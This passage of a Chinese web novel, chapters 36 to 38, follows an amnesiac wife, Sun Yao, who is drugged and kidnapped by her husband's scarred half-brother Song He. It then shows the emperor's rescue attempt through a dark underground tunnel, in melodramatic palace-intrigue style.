沈遥听闻后,想到自己的疑问,又扫了一眼时府内正在走动的家丁侍卫,便转身看了一眼锦书,“锦书,去备茶。” 对方万分不情愿,却还是应下,而后行礼告退,“备茶很快,请稍等。” 待人走后,秦木主动落座,上下扫视了一遍沈遥,她一身绯色圆领缺胯袍,尽显英姿飒爽,也不乏小娘子的纯情美感。 他笑道:“像时夫人这般特别的美人,也难怪他如此看重。” 沈遥懒得与秦木废话,隔着案落座侧边椅子上,“今日你来,应该不是为了夸我来的。” 秦木身上飘着一股异香,沈遥说不清那是何味。和他的人很像,平淡,却又隐隐透着不同寻常。宛若风平浪静的海面之下,是汹涌湍流。 他看着她手中的雨伞,“时夫人应该也有话问某吧。” 沈遥心头发颤,总有一种被玩弄于股掌之上的感觉,好似她心中所想,皆能被看 破。 她不再犹豫,直接撑开伞,对着堂外太阳照射的方向展开,一只白鹤赫然出现在伞面上,“请问公子,这是何意?公子曾经,来过时府吗?” 秦木的目光定在隐隐透光的油纸伞上,渐渐的,堂外乌云聚拢,又一次挡住阳光,那只白鹤也随之变淡。 他没有任何隐瞒,直接说:“某是第一次来时府。而白鹤,是一个组织。” “组织?”沈遥放下手中的伞,“什么组织?之前在我房间中放了梨花荷包的人,也是你吗?” 秦木先低喃一声:“原来你没看到那只纸鹤啊。” “什么纸鹤?” “没关系,那不重要,许是被你那夫君发现后扔了。”他无所谓地笑笑,也没有回答关于装梨花的荷包一事。 沈遥还想问,可秦木已率先问出口:“时夫人,沈遥姑娘,你内心有过罪孽吗?” 她翻了个白眼,静静看着他。 秦木也无所谓沈遥态度,继续说着:“每个人身上都带着罪孽,这个世道,每个人都是恶人,而白鹤的存在,是为了消除罪孽,构建世人心中的桃花源。而没有罪孽的人,在死后,自然也不会入那地狱受尽苦楚。” “对了,沈遥姑娘,在这葫芦镇住的好吗?” 沈遥心跳得极快,硬着头皮道:“自是好的。” 秦木看了她许久,却忽然闷笑一声,“说谎。” 他淡淡低声道:“他建造的这个桃花源,太小,太假,还不够宏大。” “什么意思?” 秦木又不直接回答,“这地方还不够好,沈遥姑娘,白鹤的存在,就是为了构建一个更大的桃花源,不是一镇,一城,而是整个大周,甚至大周之外。当所有人都清除罪孽后,世间便不再会有更多的邪恶与痛苦。” “而清除罪孽的方式,则来自一个祭祀仪式。” “简直浪费时间。”沈遥不想与他聊下去了,想要直接起身离开。 秦木看出来她心急,立刻道:“沈遥姑娘可能听某说一个故事,只最后一个故事。” 沈遥压制着心底慌乱,又坐了回去,不知为何,今日的时府竟是比往日更安静上几分。 秦木幽幽道:“许久前,有一个男孩儿,出生在一权势富贵家,他有一个庶弟,两人儿时相处不算差。对于这个弟弟,男孩儿并不喜欢,因为那是妾室所生的孩子,整日没头没脑地玩儿石子,卑贱,虚伪,试图夺走所有人的注意。” “他一眼就能看出,他这个弟弟,道貌岸然,表里不一,很是会装。后来他给了点儿这个庶弟一些小教训。” 沈遥眉心微跳,堂外的阳光愈发暗淡。 秦木说着,“男孩儿在教训过庶弟后,其实有些懊悔的,他并非想害死他,毕竟怎么说,也是自己亲弟弟,最后还是放过了庶弟。” “只可惜,最后,他低估了那些卑贱之人心底的恶,有的人,心里天生便住着魑魅魍魉,他那庶弟,不仅背叛自家亲人,后来还放了一把火。” 风从堂外吹进,微微掀起他脸颊前的大片发丝,露出了他的另外半张脸。 那片皮肉粘连的,粉红的,连眼睛和嘴唇都失去了形状的半张脸,被火焰灼烧过。 沈遥心跳如擂,空气中好似弥漫着黑烟一般,带着呛人而焦灼的气味,烫得嗓子发疼,又难以呼吸。 她抓紧袖下的手指,发了一手心的冷汗,却还努力保持着脸上的镇定。 堂外的阳光已彻底被乌云挡住,愈发暗淡无光,偶尔有风吹过草木的声响,听不到任何活物。 锦书备茶已经许久,竟然还没归来。 往日的时府再安静,也不会如此时这般,最初那些偶尔闪过的家丁和侍卫,无一人再次出现,好像所有人都凭空消失了一样,呼吸都不存在。 而唯一的下人,管事全叔,身旁带着一孔武有力,身材高大,样貌平平的男子,站到秦木身后,安静低头,不发一言。 没想到,全叔竟然是秦木的人! 秦木继续道:“白鹤的那个献祭仪式,便是将罪孽,通过活物作器皿,献祭给血鬼。” 他脸上原本所有的儒雅与温和骤然间消失无踪,只剩下阴鸷。 最后,他将冰冷的目光放回沈遥身上,扯了扯头发下扭曲的没有形状的嘴角,“沈遥姑娘,想必已经知晓了,那位庶弟,是何人了吧?” 第37章 第37章我凭什么不信自己夫君,…… “锦书呢?时府的下人呢?” 沈遥克制着自己颤抖的双手和起伏的声线,攥紧拳头,直到指甲在手心留下月牙印记,传来疼痛,才终于没这么惶恐。 秦木理好脸颊前发丝,确保脸被挡得严实,才微笑道:“沈遥姑娘,只要你愿配合,我定会确保所有人的安危。你放心,他们都还活着,只是沉睡了过去。” 沈遥扯了下嘴角,衡量着面前的三人。 秦木,即便宽大的道袍有所遮掩,可却也能看到干瘦的手腕。 全叔,已经头发花白,弓腰驼背,一把年纪。 还有剩下这个壮汉,虽面容不起眼,可是单他的拳头就差不多有她的脸大。 秦木想要带走她的目的为何?定是用来威胁夫君。 时府中那么多人,秦木如何做到让所有人昏迷过去?可她管不了那么多。 从刚才他的话语中,明显能感受到他对夫君极强的恨意。 : 若是叫她此刻直接上前拼死一搏,她定打不过壮汉。 那若是擒了秦木,用于威胁呢? 她与秦木的距离隔着一张四方桌,壮汉和全叔站在他的身后。 若能行动迅速,再加之她女子身份使他们轻敌,或许能在壮汉行动前抓住他。 沈遥正松开手,起身想要行动时,忽然四肢软了下来,跌回椅子,浑身的筋脉好似被堵塞了一般。 她一怔,扭头看向面带微笑的人。 “是水!” 秦木笑笑,看出她的疑惑,他好心为她解答:“我这两日派人在葫芦镇水源中下了药,我知道这东西,还得多亏了他。” …… 林中查探许久,朱氏的案件没了更多进展与线索。 宋衍厌恶这样的感觉,敌人在暗处,像一条毒蛇,时不时探头想要咬人一口,可每次都只是虚晃一下又缩回林子,不知何时才会被真正咬伤。 “发现尸体的樵夫也查过了?” 南风:“查过,并无任何问题。” “发出海捕文书,通缉那个被头发挡住半张脸的人。” “是。”南风自是应下,却还是犹豫道:“可我们不知他面貌,仅仅只此一条线索,如何画像。” 宋衍已多年未见过这人,幼时他那张阴冷的面孔,他做梦都不会忘。可如今十多年过去,定早有所改变。 “还有一条线索,他挡住的半张脸,是被烧伤而毁容的。” 宋衍许久没休息好,疲惫得头疼,此时没了太多耐心,他转身带着一大群侍卫离开。 没走几步,密林深处乍然一支利箭“嗖”一声,直直朝着宋衍破风飞来。 他眼睛没眨,手背在身后,也不慌乱躲避,南风已眼疾手快一个旋身便抓住那支利箭,手不动如山,箭还在震动嗡鸣。 “有刺客!” 南风大喊一声,所有的护卫以及潜藏的暗卫一涌而出,全部往射箭的源头奔去,而四大千牛侍卫东南西北风,则死守宋衍身旁。 京兆尹被吓破了胆,直接抱头蹲在地上,发觉自己御前失仪后,更是不知所措。 然而宋衍没看京兆尹一眼,而是发现那箭上系了一张纸条,南风发觉后连忙将其扯下,递到宋衍手中。 宋衍接过一阅后,将那纸条死死攥在手中,揉成一团。 即便仍面无表情,指尖的颤抖却出卖了他心底的慌张,血液停止流淌,心脏猛烈跳动到连肋骨都在抽搐。 南风疑惑,不远处追捕刺客的人已经跑了回来,跪下恭道:“陛下,那刺客速度极快,没有抓住。为防对方调虎离山计,只能放弃追捕。” “调虎离山计?”宋衍咬牙,“已经中了。” “陛下,这是何意?”南风眉心一跳。 宋衍皱了皱眉,“夫人被带走了。” 南风明白过来,虽然时府护卫极多,可暗卫皆分布在葫芦镇各处,而宋衍身边的暗卫不仅多,又皆 是高手,所以才趁着宋衍不在时府时将沈遥带走。 “可是,陛下不回葫芦镇已是许久,为何偏偏挑今日,利用朱氏将陛下引开?他又怎么确定,陛下一定会亲自追查朱氏?” 宋衍重新展开手中的纸条,细细看了一遍,强迫自己冷静下来,“他太了解朕。” 很显然,对方在等科举舞弊案发酵,书生反响最大时,正好中书令被判秋后问斩,圣旨还未发布。与此同时,他用自己为饵,引宋衍亲自追查,单单一个朱氏没有如此大的能耐。 而抓走沈遥的目的,在于用来交换一个条件,便是保下中书令这涉及案件的一干众人。 可在他看来,这个条件的背后,没这么简单。 中书令此人对于那人,或许是同谋,却更是棋子。 京兆尹虽疑惑着皇帝何时娶了亲,却还是上前试图拍几句马屁,“还好抓走的是夫人,并未涉及陛下龙体安危。陛下放心,这刺客再有能耐,也逃不出陛下的手心。” 宋衍听闻后彻底怒了,转身一脚踹上京兆尹胸口,对方直接翻倒在地,打了几个滚,差点儿与朱氏来个面对面亲密接触。 宋衍冷道:“我看你这个府尹不用做了。” 说完,他便带着所有人大步离去,留下京兆尹狼狈爬起身,和几个仵作面面相觑。谁想到,这马屁拍在马腿上,还给他官职踢没了。 宋衍一路快马加鞭,当赶回葫芦镇时,镇上的暗卫还晕乎着,对沈遥被带走一事一无所知。待知晓后皆一脸愕然,很快又跟着宋衍进入时府查探,祈祷他们的亡羊补牢能换来宽恕。 来到中堂处,南风与东风同时来回禀,“陛下,府内所有下人都昏了过去,除了迷烟痕迹,有的被直接敲,可最主要的,是整个镇上的水源被人下了药,才导致所有人都失可力气。” “对方功夫不小,时府这么多人,竟做得不声不响,没叫一人发觉。” “沉酥。”宋衍说了一句。 “沉酥不是禁品么?” 宋衍垂眸,对这东西再熟悉不过。 小娘时氏擅制药和香,这种药无色偏甜,却很淡,服用过后,能叫人失去力量与耐力,却依旧维持正常活动,例如走路,吃饭等。 除了口服外,还能将其制成香,除非服下解药,否则哪怕是一头牛也会被药倒。 当初他从小娘所剩无几的遗物中寻到这配方,后来亲自在他那兄长身上用过。 宋衍太阳穴突突跳个不停,连带着肺部紧缩,开始喘不上气,他着实痛恨这种事情不在自己掌控之中的无力感。 想杀人。 “封锁长安以及附近所有县城,调集禁军,搜寻夫人踪迹。另外下皇榜,赦免中书令一干人罪责。” …… 另一边,宁梓谦本是约了白岁岁出街玩耍,到后来他心不在焉,将人先送了回去,一个人往外游荡。 不知不觉,他又来到葫芦镇。 只是这一次,葫芦镇不同往日那般,今日家家户户闭门不出,街上不见任何小贩,反倒是禁军士卒在四处走动。 有的士卒并不认识宁梓谦,见其在镇子门口晃荡,立刻上前道:“喂!你!不知道镇子封锁,不得随意出门吗?还不回家!” 宁梓谦心底有了不祥预感,“这是发生了何事?” 见那士卒不耐烦,他立刻机智地递上一包银子。 士卒快速看了一眼四周,立刻将那袋银子收入怀中,悄声道:“时府那位夫人被抓走了,现在长安以及附近所有城镇都收到了封锁令。” 知道沈遥真实身份的人其实不多,特别是他这样从长安调出来的小兵。 他挠挠头,着实不解:“也不知这时府与陛下有何干系,发生此等事儿,竟能得皇令如此大动干戈。” “什么?诺诺被抓了!”宁梓谦瞪大了双眼,还不等那士卒说完话,便拔腿兔子般快往镇子外跑。 几番打听后,终于找到了在四处寻人的宋衍。 …… 沈遥再三权衡后,除了暂且跟随秦木离开,也别无他法。 她一路坐着马车,浑身无力,也不知被带到了何处。这一路上,她离秦木那人极远,眼神中透露着厌恶。 到达目的地,壮汉粗鲁地扯着沈遥下车,跟在秦木身后,入了一间破破烂烂的民宅。 壮汉直接将她推倒在地,她手撑了一下,擦破了掌心处的皮。 秦木见状后眉头一皱,“武旦,不得无礼,这位沈姑娘是贵人。” 叫武旦的壮汉听闻后低下头,一言不发站到了远处。 全叔则准备了水囊和干粮,递给沈遥。 她靠坐在墙角,警惕地盯着几人。 秦木拉了一小凳,坐到沈遥对面,“放心,我不会下毒,活人比死人更有价值。我要对付的人,也只有他罢了。” 沈遥眨眨眼睛,没看那干粮,只接过水囊喝了几口,只是一时着急,呛得咳了好一会儿。秦木见状上前拍了拍她的背,被她厌恶地一掌打开。 缓了许久,她才终于开口:“秦木,你究竟想要什么?你要杀了他?” “杀了他?”秦木低着头阴笑,“那怎么够?人世间的痛苦都是留给活人的。” “不过这一次,我提出的要求其实很简单,只是让他放过几个无关要紧的人罢了。” “什么人?值得你如此大动干戈?”沈遥狐疑。 秦木却不正面回答,“我说过的,这小子,可没你想象中的好。你看我的脸就知道了,当时我还很小,而他年龄也不过五岁。” “一个五岁的孩子,已经试图杀人放火,这不是天生恶种是什么?” 一阵微风吹过,沈遥又看到了他发丝下隐隐的,被掩藏住的丑陋,口腔弥漫着一股铁锈味。 “我凭什么不信自己夫君,要相信你。” 秦木好整以暇地坐在小凳子上,背靠桌腿,而全叔和武旦两人也不知去了何处。 黄昏时分,破败的小屋愈发暗淡下来,可他并没有点亮任何烛光,只借着屋外细微的光,毒蛇般盯着眼睛发亮的沈遥。 “他说什么,你就相信吗?你真的相信他吗?沈遥,据我所知,自你失忆后,你所知晓的一切,皆出自他口。” 秦木觉得挺有意思的,他没有直接戳穿宋衍的谎言,而是享受一种慢性折磨,叫猜忌与黑暗的折磨。 人与人之间的信任永远不值一提,哪怕爱得死去活来,哪怕流着相同的血,只要裂开过一个口子,便再也无法缝补。 沈遥没有回口,虽面上不服,可心底过往那些疑惑与谜团,此刻又一次浮了出来,无可抗拒。 杀人诛心,他向来擅长。 秦木继续说:“沈遥姑娘,我说过,你是贵人,我实在无意伤害你,结束后,我定将你完好无损的送回你该去的地方。” “沈遥姑娘,时衍一定对你说过,他爱你吧。可是他爱你,却将你困在葫芦镇之中,让你哪儿都不敢去。他爱你,却不允许你与外人有任何交往。他爱你,却夜不归宿,还瞒着你这么多事。” “他没有……”沈遥反驳得相当无力。 她没想到,此人竟知晓这么多,竟能看破她所有的内心,分毫不差。 “沈遥姑娘,若离开时衍,你想过你能独自一人生活得下去吗?你没有娘家,没有朋友,对世道毫无认知。” 他说:“你可否想过,就是因他笃定你离开了他什么也不是,笃定你不敢真正离开,才会几个月见你一次,才会不将你放在心上。因为在你们的关系中,他是上位者,而你永远处于 弱势与被动,除了听之任之,偶尔发发小脾气,你,沈遥,没有任何底气。” 沈遥抿唇摇头,“不对,你说的不对。” “沈遥,别自欺欺人了,好好想想,我说的是不是真的。而那个男人,值得么?” 秦木却又忽然问她,“叶灵叶韵两姐妹,真的是自己离开的吗?” 沈遥淡淡一瞥他,心头剧烈跳起来,“什么意思?” 秦木定定坐了一会儿,却又倏然笑起来,万分诡异,“或许我应该这么问你,你觉得叶灵叶韵两姐妹,还活着么?别忘了,那个人,是天生恶种啊。” 他也不在意沈遥的反应,淡淡道:“不如这次看看,他对你的爱究竟有多深?他若连为你放弃几个无关要紧的人都不愿意,那他所谓的爱,也不过如此。” 他扭头看了一眼屋外已然不见的阳光,起身打开房门,门口的武旦一直站着,是在看守她。 秦木没有转头,忽然留下一句话:“对了,沈遥姑娘,我不叫秦木,我的真名,叫宋禾。” “宋禾?” 沈遥一头雾水,看着那扇门缓缓关上,连月光都不给她留下,周围变得伸手不见五指。 她定定坐在原处,没什么力气,不想动弹,也不想试图逃跑。 反正就算跑,以她的能力也跑不掉。 只是,不知时府的锦书和下人们如今怎么样,可脱离了危险? 也不知夫君,可有来寻她? 黑暗中的时间过得尤其慢,破烂的小屋里没有刻漏,就算有也看不见。 她不知道时间过了多久,好像是很久很久。 自上一次见到夫君,好似已是许久之前。 他半夜回来,没过多久又忙着离去。这个臭男人,明明说过会陪她。他说爱她,可书院一有事便头也不回的离开,连消息都不带回。 他一点儿都没把她当作真正的妻子来对待嘛。 而她自己呢? 如今细想,好像她更像他的笼中雀,每日大门不出,二门不迈,衣来伸手,饭来张口,生活的目的,好像就是在家中等待着他的临幸。 而离开了他,她又好像什么都不是,甚至无法生存下去。 她除了他,什么都没有。 沈遥口又有些干燥,伸手去拿放在桌上的水囊,可塞子被塞太紧,沉酥的药效还未过,没有什么太大的力气。 冷风从墙体的缝隙间涌入,她打了一个寒颤,用尽全力后终于拔开了塞子,可水囊却也因此直接掉在地上。 在她伸手去摸时,已经流了一地水,而水囊也流光了。流了血的手心被地上污泥所沾染,可她却没察觉到疼痛。 “骗子。” 她将空水囊随意一扔,水囊砸在桌腿上后又掉至地上。她屈膝将头埋起来,整个人弯虾一般缩成一团,冷得发抖。 “骗子。” 第38章 第38章她已经知道真相了么?…… 人崩溃的瞬间,并不是发生某件突如其来的大事,而是长久情绪挤压后,由一件无足轻重的小事所引发。 她眼睛泛红,嗓子眼处堵着的气不上不下。 当感受到眼泪时,她整个人还是愣怔的。 毕竟从醒来后,她从来没有哭过,可此时,竟因那掉在地上的水囊,叫她崩溃了起来。 “骗子。” 她小声呜咽着,而后渐渐哭出了声,反正夫君和锦书都不在,他们不会听到。 她试图擦去脸上的泪,却越擦越多,眼中金豆子像是忽然停不下来,不要钱地滚落着,随着风声阵阵,她瞬间撕心裂肺地哭了起来。 连日来积压的情绪,终是承受不住。 站在门外的武旦自然听到她的动静,却是面无表情,一动不动地站着,也不想试图进入去打扰。 在许久的嘶声力竭后,她盯着四周的黑暗,声音又小了下来,不断抽泣着,胸膛震动着。最后疲累地直接睡了过去。 她在睡着前还感到奇怪,明明身处危险,她竟然还能睡着。 “骗子。” 或许此刻她才终于知道,人啊,其实总会深刻地记得,那些自以为不在意的,被忽视的小小压抑,将其积攒着,直到爆发一次,才终于去正视自己的脆弱。 原来,你没有以为的那么强大。 …… 天光亮起后又暗下去,沈遥醒来许久,知晓已过去一天一夜。 门外终于传来动静,武旦跟在宋禾身后入内,将人抓起来往屋子后院走去。 沉酥的效果已渐渐退去,可她还是没有挣扎的力气,也不想挣扎。 这处民宅虽是破旧,后院地下却建了一个巨大的密室,由石头所砌,墙壁上是晃荡的烛光。在经过一条冗长的甬道后,打开石门,沈遥又被关进这间空荡而密闭的石室。 她进入后直接找了舒适的角落坐下,靠着墙壁,面上平静,已经不见丝毫惶恐。 若非昨日武旦告诉宋禾这女人在房里哭天喊地,他就真信了她心是铜墙铁壁做的。 他确实没想到,宋衍动作那么快,没多久便放出了赦免中书令一干人的旨意。 这一举措,自然惹怒了众书生。 可他不会轻易放了沈遥,他又对宋衍提出了另一个要求,亲自下罪己诏,将所有的罪责,舞弊案也好,洪涝灾害也好,都加在宋衍身上。 宋禾蹲下在她面前,“怎么?今日不哭了?” 沈遥淡淡看着他,“哭的话你会放了我吗?” “……不会。” “那不就得了。”沈遥闭上眼睛假寐,不想理他,奈何肚子饿得发出了咕咕两声。 算起来,她两日没吃东西,如今饿得两眼发黑。 “你这女人还真有意思。”宋禾冷笑调侃,又眯眼道:“不过有个消息,得让你失望了。” 见她没反应,宋禾也不介意,张口就来:“时衍没有应下我提出的交易,如今早已过了时限。看来,他还是为了某些所谓的大义,放弃了你。” “沈遥,你觉得你在他心里,能排到第几位?” 沈遥缓缓睁开眼睛,还是不想说话,也不想思考。 此刻,只是有些累罢了。 “哦,我知道了,所以你可以闭嘴了吗?” 即便她身处弱势地位,即便她没有记忆,即便她昨夜哭了好一阵,可宋禾硬是从她没有情绪的神情中读出了不甘示弱。 宋禾:“……” “你不失望吗?我告诉过你的,这个人自私恶毒得很,不值得。” 沈遥无所谓地低声道:“那还真可惜,即便如此,你还是斗不过他,还是没得到你想要的。你折腾一通什么血鬼,什么仪式,难不成你还真以为自己是好人了吗?” 宋禾还想说什么,沈遥已经没了耐心,在他开口前直接打断:“我饿了,还渴了。” 宋禾左脸抽搐,“你一个人质哪儿来的底气?” “是吗?”沈遥睁开眼,平静地瞅一眼后又闭上,“那随便你,反正我饿死渴死,失去作为活人的价值,也是你的事儿,与我无关。” 宋禾听她用自己说过的话来回怼,直接气笑了,她的话不太合理,却又说得通。 他捋了捋额前的头发,起身,轻哂:“行,给殿下弄吃的。” 宋禾大步离开密室,将石门关好。 此时全叔不在,他只得吩咐武旦去给里面那位永乐长公主准备东西。 月色正是浓郁之时,全叔终于从外面回来,两个死士跟在身旁。 “主上,皇帝下旨了,罪己诏已经张贴出去。” “这么快?”宋禾一怔,阴仄仄笑起来,“看来,这位公主在他心里,比预想得更重要。闹事的人安排好了?” 全叔低着头,弓着腰,“安排好了,明日一早,长安各处街角便会出现蚂蚁组字,暗示天子无德,另有浅龙在世。四处煽动书生的人也已准备好。这次,定能一举成功。” 宋禾勾唇摇头,“这只是开始而已,之后的路还很长。宋衍这小子没有那么简单,但好在,我们起了一个好头。” 全叔一瞥密室入口,又问:“那长公主,何时送回去?” “送回去?”宋禾神情怪异地看了一眼全叔,眼皮轻跳,“这么好用的把柄,哪儿有送回去的道理。若宋衍不服,便告诉他,罪己诏下得晚了, 超过了时限,之前的交易作废。” “反正我们的目的已经达到,就算他收回,也无济于事。” 月黑风高下,四周除了斑驳的树影,以及树叶的摩擦声,皆寂静一片。甚至静得过分清冷,让人不由打颤。 宋禾蹙眉,“这武旦拿点吃的怎这么久?” 话音刚落,一支破风箭从屋子拐角处飞来,宋禾速度极快躲开,却还是被利箭擦伤了胳膊。 当他抬头时,看见全叔正往前奔跑,逃命的身影,可无奈腿脚不便,一瘸一拐,宋禾瞬间明白了什么。 他大怒:“全宝德!你背叛我!” 宋禾两步上前,很快追上全叔,一脚踹在他背上。全叔被迫摔跪在地上,老骨头发出“咔嚓”一声,瞬间动弹不得,额头满是冷汗。 他脸皱成了褶子,仰头看着宋禾无奈道:“主上,老奴也是没有办法了啊!皇帝竟一天内查出显蒙的身份和下落,抓了起来威胁老奴。” “主上啊,老奴自净身后便伺候您和王妃了,是无根之人,显蒙是老奴唯一的子嗣,比命还重要啊。如今背叛主上,老奴愿以死抵罪。” 说完后,全叔也不跑不掉了,浑身颤抖着,浑浊的双眼流出两行泪水。 他年轻时留下过一私生子,后来生活所迫,便净了身在晋王身边伺候。年轻时候的他话语不多,在王府中犹如一透明人。后来家中老母病危,是王妃给了他银钱将老母好生安葬。 从那时起,他便应下,此生会尽心竭力照顾小世子宋禾。 晋王府被抄后,他便带着宋禾逃了出来。再到后来,宋禾知晓宋衍还活着的消息,便将他送到了梁国夫人身边伺候,得了宋衍信任。 宋衍此人聪明,却从不将不重要的下人记在心里。所以就算全叔到了梁国夫人身边,宋衍竟也没能认出。 宋禾来不及处理他,便见到宋衍亲自带着铁甲卫冲了过来。 须臾之间,宋禾原本埋伏在民宅中的死士也同时现身,与铁甲们混战一起。 宋禾趁乱,从一被杀死的侍卫手中抢过长剑,朝着宋衍大喊一声,便又冲进了地下密室。 宋衍见状没有丝毫犹豫,立刻追了上去。 据全叔所述,沈遥是被宋禾转移到密室之中。 这一天一夜,说长不长,说短不短,他时时刻刻都在水深火热中煎熬。 中书令,门下侍郎,又或是宋禾的阴谋,对他来说都不重要。 只有沈遥,是他唯一所在乎的。 宋禾太了解他,他又何尝不了解宋禾。 他知道,就算他答应了宋禾的交易,以这阴险小人的性子,也不会放了沈遥。 密室中,甬道狭窄而冗长,两人快速奔跑着,卷起了一阵风,那风吹得墙上的烛火不断摇曳。 宋衍身强体健,很快追上前人,抬脚一踹,宋禾直接整个人飞了出去,摔在地上,头发飞起,那剩下半张丑陋的脸露了出来。 在他转身之际,宋衍已经站在了跟前,“宋禾,你不是朕的对手,将沈遥给朕交出来。” 宋禾骨瘦嶙峋,脸上没有表现一丝恐惧,身上穿着的依旧是那身深灰色道袍。 “我确实没料到,你动作挺快,竟一日便发现了全宝德私生子。” 宋衍平静道:“朕知道关于你的,比你想象的多。你以为中书令暗中扶持你,朕会毫无察觉吗?从你当初试图接近沈遥,朕便察觉道朝中的贼子贼心。” “中书令侵占私田,自朕下令清田后,这老头便被踩了尾巴似的,想方设法与朕做对。” 宋禾咬牙切齿道:“那又如何?你已经无罪释放了这帮老头,圣旨已下,皇命即出已无从更改。而罪己诏……” 他骤然想到什么,霎时间顿住,“不对,全、宝、德!” 宋衍哂笑:“怎么?才意识过来。” 他既然拿到全叔软肋威胁,自然想让他说什么,他便会说什么。说几句假话稳住宋禾,又非什么难事。 放了中书令一干人是真的,可是宋禾却反悔,蹬鼻子上脸又提出了新的要求,那时他便知晓这样下去没完没了。 会有无数个要求,如此他便永远也救不出沈遥。于是他才想到了从全叔处入手。 至于全叔的身份,确实令他感到了一丝震惊。 宋禾苦笑,“都怪我太急切,我应该早些将全宝德儿子显蒙藏起来的。” “不过宋衍啊,就算如今你身居天子之位,你又真的得到你想要的么?”他仰头对上宋衍目光,眼底划过一丝阴冷。 “即便是至尊之位,却连自己喜欢的女人都得不到,保护不了。你所有的一切都是自己构建出来的虚妄,你觉得我着了魔,可宋衍,你走火入魔比我更深。” “从小到大,你真的拥有过你想要的吗?你永远也得不到母妃父王的关注,更得不到沈遥的爱。你连一只猫都保护不了,你觉得你又凭什么保护得了自己心爱之人。” “还记得那只猫的尸体吗?需不需要我描述一遍……” “闭嘴!”宋衍眯着眼睛,杀气与戾气化为箭矢释放而出,带着空气似乎直接穿透了宋禾胸膛,浑浊不堪的气息充满整个阴暗的空间。 他真的很想杀了宋禾,可宋禾不该如此轻易的死。 他至少应该在死前,将犯下过的罪孽化为肉身的痛苦,用匕首一片片割下他的肉,叫他看着自己的内脏被一点点挖出,心脏被捏碎,剥皮,将所有疼痛一条条刻在肌骨之上。 叫他入了地狱都依旧无法忘记这种切身之痛。 宋禾最喜攻心,他没有害怕,反倒更是兴奋起来,“宋衍,你猜这段时间,我都与永乐长公主说了什么?你觉得这一次,她还会相信你,心甘情愿留在你身边,待在你建造的樊笼之中么?” “这位公主殿下的性子,想必你比我更清楚。” “朕让你闭嘴。” 他的话似一排尖刺,狠狠戳在宋衍心上。 无休无止的恐慌。 她已经知道真相了么? 不对,以他对宋禾的了解,这位享受玩弄人心的兄长,不会直接将真相告知沈遥。 可是有一点,宋禾成功了。 他的心被拨动了起来,即便知晓不能轻易听信此人的鬼话,可心底深处如水潭中投入的石子,波纹的起伏,并非他能控制。 宋衍恼怒,正想上前抓起宋禾时,这人倏然诡异地笑起来,“宋衍,没这么容易结束。我与你不一样的地方在于,你的软肋太多了。” 宋衍脚步一滞,忽生出不详预感,宋禾话音刚落,不知他按了什么机关,顷刻间,甬道中所有的烛火同时熄灭。 整个密室黑暗一片,没有一丝光线。 也是在这一瞬间,宋衍呼吸乱了起来,一股窒息在海水中的痛感从肺扩张到脑袋,黑暗之中,仿佛无人之地,又仿佛鬼魅四处纠缠,将他胸膛的肋骨抽出,挖开肺部,又掘出心脏,狠狠抛至空中,摔在肮脏冰冷的泥地上。 而他只能任由着冷风吹过空洞的身子,站在远处,旁观着自己沾了泥巴,跳动逐渐微弱下去的心脏。 宋禾大喊一声:“杀了他!” 很快,身后两个死士朝着宋衍冲了上去。 而密道为宋禾所建造,自是熟悉得很,他趁机摸黑打开另一密道,逃之夭夭。 宋衍极力克制着内心深处无法磨灭的恐惧,听到死士朝自己袭来的声音,只能抽出长剑,凭着直觉冲上去。 “噌——” 甬道中回声响彻,他根据声音方向,感受到一支利剑朝着自己攻来,他侧身堪堪躲过,死士的剑在墙壁上划处尖锐的声响,甚至摩擦出点点火花。 宋衍脑海中迅速具象化死士的动作,找出破绽后一击便刺入对方胸膛。 然而,也是同一时间,他便被一死士一脚踹在胸膛前,翻倒在地。在死士第二剑劈来时,他通过直觉翻身,举剑回挡一 下,脚底却一阵断裂的剧痛传来。 他尽可能忽视钻心的疼痛,从声响中判断出对方位置后,又鲤鱼打挺起身,冲上前犀利一劈。瞬间,甬道里浓烈的血腥味四处弥散,最后一倒地声响起后,一切归于平静。 宋衍额头不断冒出冷汗,瘫坐回地上,手中剑也放开。他试图重新将其捡起,却双手颤抖无力,几次失败,连站立都难以做到。 对黑暗的恐惧再也无法克制,两个死士身上的血腥,与流淌在地上的浓稠血液漫过他身下。 他脑海中浮现出了儿时那副画面,那个狭窄的柴房中,小白猫沾满血的尸体,漂亮的眼珠子滚落在角落。 唯一的光来自门缝,其中那四处飘荡的灰尘,在那一瞬间格外呛人。 随着夕阳落下,门缝中的光也彻底消失,看不见任何。 角落是发臭的果子与污水,背后是堆满的硬邦邦的柴火,他大声叫喊着,拍打着房门,几番踉跄被柴火绊倒在地,额头重重磕了一下。 宋衍咽了咽口水,睁大眼睛蜷缩在甬道之中,耳边除了嗡鸣什么都听不到,身体的力气愈发消散,连抬手都变得困难。 “诺诺呢?” 一急切的声音从后方传来,紧接着是火光。 他眯着眼睛,看了半晌,才反应过来,竟是举着火把冲进来的宁梓谦。 这人知晓沈遥被绑后便跟了来,说是要出一份力,他心急,便没阻止。 诺诺。 对,他得救她,救他的诺诺,他的阿姐。 她等了他那么久,一定很害怕。 宁梓谦猛地提起宋衍衣襟,让人坐直,然而宋衍却成了烂泥一般,也不知何处受了重伤,连坐起来都做不到。 对于宁梓谦来说,宋衍的命并不重要,这个狗贼卑鄙无耻,阴险狡诈,他在意的只沈遥一人。 宋衍头疼剧烈,无力地抬手往甬道尽头一指,手又放了下去。 宁梓谦着急救沈遥,往前跑两步后,又转过身看着躺在地上弯虾一般的宋衍,从没见过他此般脆弱的模样。 他还是又往回跑了一段距离,大喊道:“南风!皇帝在这里!” 喊完后,他便头也不回往甬道深处奔去。 反正他仁至义尽了。 宋衍看着火把往远处而去,光点在深处的一道石门前停住,很快石门打开,火光消失在了门后,四周再次黑暗一片,他这才终于晕了过去。 在昏迷前,他庆幸,虽然是宁梓谦那厮,虽然他嫉妒到想要将自己的头狠狠砸到石壁上,砸出脑浆,但至少诺诺得救了…… 宋衍醒来时,躺在一张木板床上,身上的疼痛依旧在蔓延。 小屋破破烂烂,散发着一股腐败的霉味,他花了很长时间,才意识到,他还在那处关押沈遥的民宅。 南风在一旁见他醒来后,激动道:“陛下!陛下醒了!” 宋衍抬抬手,南风立刻极有眼色地上前,将人扶起,“陛下昏迷了一个时辰,属下叫人去喊了御医,怕是快到了。” 宋衍揉着发疼的眉心,摇摇头,丝毫不在意御医与自己身体,“夫人呢?救出来了?” 身旁一时安静一片,他抬起头扫视过低着头的侍卫,又停留到南风身上,心底一咯噔,“怎么不说话?夫人呢?” 